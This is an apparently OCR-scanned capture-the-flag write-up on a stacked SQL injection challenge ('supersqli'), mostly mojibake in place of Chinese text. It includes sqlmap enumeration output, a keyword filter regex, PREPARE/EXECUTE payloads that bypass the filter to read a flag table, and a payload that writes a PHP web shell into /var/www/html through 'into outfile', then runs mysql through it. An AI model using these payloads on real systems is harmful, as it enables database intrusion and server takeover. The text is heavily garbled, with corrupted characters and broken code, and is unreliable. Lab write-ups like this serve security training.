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array(2) {

[0]=>

string(1) "1”

[11=>

string(7) “hahahah”
i

array(2) {
[0]=>
string(1) "2”
[1]=>
string(12) “miaomiaomian”
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array(2) {
[0]=>
string(6) “114514”
[1]=>
string(2) “ys”
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b <form method="get > = </form>
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</body>
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sqlmap identified the following injection point(s) with a total of 87 HTTP(s) requests:

Parameter: inject (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: inject=1 YWFT '="yWjT

Type: time-based blind
Title: MySQL 5.0.12 AND time-based blind
Payload: inject=1 ToTd'="ToTd

16:33:21] [INFO] retrieved: 10.3.15-MariaDB
web application technology: PHP 7.3.5, OpenResty
back-end DBMS: MySQL 5.0.12
banner:
[16:33:33] [INFO] fetching current user
[16:33:33] [INFO] retrieved: root@localhost
current user:
[16:33:42] [INFO] fetching current database
[16:33:42] [INFO] retrieved: supersqli
current database:
[16:33:49] [INFO] fetching server hostname
[16:33:49] [INFO] retrieved: 869ae49963bb
hostname:
[16:33:59] [INFO] testing if current user is DBA
[16:33:59] [INFO] fetching current user
current user is DBA: False
[16:33:59] [INFO] fetching database users
:33:59] [INFO] fetching number of database users
:33:59] [INFO] retrieved:
:34:00] [INFO]

retrieved:

o SQLMAPHREIFIEN S BIAM/REE, BREILL EERZEMILEERITT, MZAHT T, 23— T % H 8w
select:

Wi FEXELHEEE , Qii—8iE . ARNZ2R—F0

return preg_match(”/select |update |delete|drop|insert |where [N, /17, $inject):

o WP TIEANEHIREAE. HEZRX - THBENKIATLL

?inject=";show tables;#



W FEREERIREE | Rii—0if : ARNZ2R—4AA

28 how tables; # BirsEia

array(l) |

[0l=>

string(16) “1919210931114514"
}

array(1) {
[ol=>
strins(5) “words”

}
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PREPARE sqla from '[my sql sequece]'; //TiE XSQLEH]
EXECUTE sqla; //#$hATTiE XSQLIEH

(DEALLOCATE || DROP) PREPARE sqla; //MIBR¥isE X SQLiER]

o B GEAWAT LB R BH#TIEE, thin.

SET @tn = 'hahaha'; //FfER%

SET @sql = concat('select * from ', @tn); //FfESQLIEA]
PREPARE sqla from @sql; //TiE XSQLEA]

EXECUTE sqla; //#JTTiE XSQLIER]

(DEALLOCATE || DROP) PREPARE sqla; //MIETiE X SQLIEA)

A REEN AT R F char() 5 54 ASCIRS # # R SELECT /1 5, #:35 F| F concat() 7 % #EAT HHERB EWKISQLIESR], BEHIT
BT, payloadlT:

" * from ~1919810931114514 ");PREPARE sqla from @sql;EXEC
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Wi FRERXEERRSE | Rin—0iE : ARNZ2R—F0

& g @sql;EXECUTE sqla; 2 | BarEia

array (1) f

[ol=>»

string (42) “flag {2487fa%-Tafb-41b0-9bE6—3dded9b10642]
}

0x03 #| H 1w 4 .17 GetFlag
HFH P &Zroot, At LS AT L@ Ay 2 #4775 kB flag: BUUCTF-WE B R fif# B {5 1
payloadinF:

/?inject=";Set @sql=concat("s","elect '<?php @print_r( $ _GET[1] );?>' into outfile '/var/www/html/1",char(46),"p
hp'");PREPARE sqla from @sql;EXECUTE sqla;

/1.php?l=mysql -uroot -proot -e"use supersqli;select flag from \ 1919810931114514\ ;"
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FIFIMySQL into outputfile5 M558 5 17: F FHMysql into outfiles W34 B 5 17 (X B 48 % Bj A% 2 — M ubuntufik 55 25 P9
WHEF /var/www/html )
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